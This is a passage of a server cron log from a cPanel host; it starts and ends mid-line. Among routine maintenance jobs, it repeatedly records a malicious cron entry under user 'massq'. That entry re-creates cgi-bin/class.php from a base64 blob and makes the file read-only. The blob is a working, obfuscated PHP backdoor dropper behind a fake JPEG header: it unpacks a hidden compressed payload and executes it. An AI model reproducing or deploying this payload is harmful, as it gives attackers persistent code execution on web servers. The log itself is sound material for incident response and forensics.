19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 02:07:01 server CROND[17942]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 02:07:01 server CROND[17943]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 02:07:01 server CROND[17944]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 02:08:01 server CROND[18312]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 02:08:01 server CROND[18313]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 02:08:01 server CROND[18314]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 02:09:01 server CROND[18732]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 02:09:01 server CROND[18733]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 02:09:01 server CROND[18734]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep  3 02:09:01 server CROND[18735]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 02:10:01 server CROND[19224]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  3 02:10:01 server CROND[19225]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  3 02:10:01 server CROND[19229]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  3 02:10:01 server CROND[19227]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  3 02:10:01 server CROND[19231]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 02:10:01 server CROND[19233]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 02:10:01 server CROND[19230]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  3 02:10:01 server CROND[19228]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 02:11:01 server CROND[20058]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 02:11:01 server CROND[20059]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 02:11:01 server CROND[20060]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 02:12:01 server CROND[20450]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  3 02:12:01 server CROND[20452]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 02:12:01 server CROND[20451]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 02:12:01 server CROND[20453]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 02:13:01 server CROND[20829]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 02:13:01 server CROND[20831]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 02:13:01 server CROND[20830]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 02:14:01 server CROND[21195]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 02:14:01 server CROND[21196]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 02:14:01 server CROND[21197]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 02:15:01 server CROND[21667]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 02:15:01 server CROND[21666]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  3 02:15:01 server CROND[21671]: (root) CMD (/usr/local/cpanel/bin/dbindex >/dev/null 2>&1)
Sep  3 02:15:01 server CROND[21673]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  3 02:15:01 server CROND[21674]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  3 02:15:01 server CROND[21672]: (root) CMD (/usr/local/cpanel/scripts/upcp --security)
Sep  3 02:15:01 server CROND[21676]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 02:15:01 server CROND[21670]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 02:15:01 server CROND[21675]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  3 02:16:01 server CROND[22611]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 02:16:01 server CROND[22612]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 02:16:01 server CROND[22613]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 02:17:01 server CROND[23150]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 02:17:01 server CROND[23151]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 02:17:01 server CROND[23152]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 02:18:01 server CROND[23527]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 02:18:01 server CROND[23529]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5